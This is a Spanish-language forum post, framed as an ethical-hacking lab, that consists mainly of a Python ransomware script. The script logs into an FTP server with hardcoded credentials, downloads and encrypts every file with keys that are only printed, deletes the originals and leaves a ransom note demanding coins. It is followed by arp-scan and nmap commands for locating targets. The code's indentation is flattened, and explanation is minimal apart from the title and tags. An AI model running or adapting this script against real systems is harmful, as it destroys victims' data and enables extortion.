Esto es un RANSOMWARE | Ejemplo y Explicación | Seguridad Informática

Avatar de Usuario
admin
Verified
Site Admin
Mensajes: 2088
Registered for: 9 years 10 months
9
Ubicación: Ciudad de Córdoba - Argentina
Gender:
Edad: 41
Contactar:

Esto es un RANSOMWARE | Ejemplo y Explicación | Seguridad Informática

#1

Mensaje por admin »

Vea cómo HACKERS implementan ransomware

Imagen
 
Codigo

Código: Seleccionar todo

import os
from ftplib import FTP
import base64
from cryptography.fernet import Fernet
import io

host = "192.168.1.196"
port = 21
my_ftp = FTP()
my_ftp.connect(host, port)
my_ftp.login("test","prueba79")
my_ftp.retrlines('LIST')


## my_ftp.retrbinary("RETR bigsecret.txt", open('bigsecret.txt', 'wb').write)


filenames = my_ftp.nlst() #Obtener Archivos del FTP

print(filenames)


for filename in filenames:
local_filename = os.path.join('', filename)
file = open(local_filename, 'wb+')
my_ftp.retrbinary('RETR '+ filename, file.write)
print(filename)
file.seek(0)
c = file.read()
e = base64.b64encode(c)
key = Fernet.generate_key()
print(key.decode())
message = c
e = Fernet(key).encrypt(message)
print(c,e)
file.seek(0)
file.write(e)
file.seek(0)
my_ftp.storbinary("STOR {}".format(filename+'.enc'), file)
my_ftp.delete(filename)
file.close()
f = io.BytesIO(b'Por Favor enviar COINS to prueba@gmail.com')
my_ftp.storbinary("STOR {}".format('RAMSONYE.txt'), f)
COMANDOS

Código: Seleccionar todo

sudo arp-scan -I eth0 -l

sudo nmap 192.168.1.55

python3  testran.py
VIDEO TUTORIAL del LABORATORIO



ehtical hacking,ethical hacker,cyber seguridad,security,install,instalar,linux,unix,penetration tests,herramienta,synology,python,linux for ethical hackers,cursos,courses,capacitacion,educacion,How Hackers Do It,proteger computadoras,Information Systems Security Professional,CompTIA Security+,servers,servidores,educación,auditoria,Detección de intrusiones en la red,vulnerabilidades,phyton,qué es,cómo infecta y cómo protegerse,que es un malware,wifi,ftp,crear,script
Conoce qué es el ransomware
como funciona un ransomware


 

Enlace:
BBCode:
HTML:
Ocultar enlaces al mensaje
Mostrar enlaces al mensaje
Responder

Create an account or sign in to join the discussion

You need to be a member in order to post a reply

Create an account

Not a member? register to join our community
Members can start their own topics & subscribe to topics
It’s free and only takes a minute

Registrarse

Sign in

  • Temas similares
    Respuestas
    Vistas
    Último mensaje

Volver a “Redes/Networking”

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 5 invitados